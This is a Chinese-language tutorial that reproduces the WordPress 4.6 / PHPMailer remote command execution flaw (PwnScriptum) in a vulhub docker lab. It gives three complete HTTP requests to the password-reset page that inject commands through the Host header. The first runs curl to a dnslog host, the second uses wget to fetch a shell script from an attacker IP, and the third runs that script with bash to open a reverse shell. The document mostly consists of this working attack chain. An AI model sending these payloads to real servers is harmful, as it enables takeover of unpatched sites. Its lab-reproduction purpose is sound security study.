Wordpress 4.6 任意命令執行漏洞

Wordpress 4.6 任意命令執行漏洞（PwnScriptum）

當WordPress 使用 PHPMailer 元件向用戶傳送郵件。攻擊者在找回密碼時會使用PHPmailer傳送重置密碼的郵件,利用substr(字串擷取函式)、$run(系統呼叫函式)等構造payload，即可進行遠端命令執行。

漏洞環境

我們先下載環境，在github有別人直接搭建好的docker環境我們直接拿來用即可

git clone git://github.com/vulhub/vulhub.git
cd vulhub/wordpress/pwnscriptum/
docker-compose up -d
 

訪問IP:8080/即可看到一個wordpress安裝介面頁面。

影響版本

WordPress <= 4.6.0

PHPMailer < 5.2.18

漏洞復現

然後跟著預設下一步安裝即可

漏洞在找回密碼的頁面,這是測試是否存在的payload，裡面的user_login為你自己設定存在的賬號,由於有些字元不能用，我們用${substr{0}{1}{$spool_directory}}代替/,${substr{10}{1}{$tod_log}}代替空格

POST /wp-login.php?action=lostpassword HTTP/1.1
Host: edi(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl${substr{10}{1}{$tod_log}}wb5hh4.dnslog.cn}} null)
Connection: close
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept: */*
Content-Length: 63
Content-Type: application/x-www-form-urlencoded

wp-submit=Get+New+Password&redirect_to=&[email protected]
 

執行後發現dnslog接收，證明命令執行成功漏洞存在

開啟一個web服務存放反彈shell指令碼

執行payload使目標伺服器下載這個指令碼

POST /wp-login.php?action=lostpassword HTTP/1.1
Host: edi(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell${substr{10}{1}{$tod_log}}IP地址${substr{0}{1}{$spool_directory}}edi.txt}} null	)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 94
Origin: http://192.168.200.23:8080
Connection: close
Referer: http://192.168.200.23:8080/wp-login.php?action=lostpassword
Cookie: ECS[visit_times]=9; wordpress_test_cookie=WP+Cookie+check
Upgrade-Insecure-Requests: 1

user_login=admin%40qq.com&redirect_to=&wp-submit=%E8%8E%B7%E5%8F%96%E6%96%B0%E5%AF%86%E7%A0%81
 

web服務監聽80發現指令碼被人訪問，上面的命令執行成功

伺服器監聽1234埠

傳送payload使目標伺服器執行指令碼

POST /wp-login.php?action=lostpassword HTTP/1.1
Host: edi(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell}} null)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 94
Origin: http://192.168.200.23:8080
Connection: close
Referer: http://192.168.200.23:8080/wp-login.php?action=lostpassword
Cookie: ECS[visit_times]=9; wordpress_test_cookie=WP+Cookie+check
Upgrade-Insecure-Requests: 1

user_login=admin%40qq.com&redirect_to=&wp-submit=%E8%8E%B7%E5%8F%96%E6%96%B0%E5%AF%86%E7%A0%81

反彈shell成功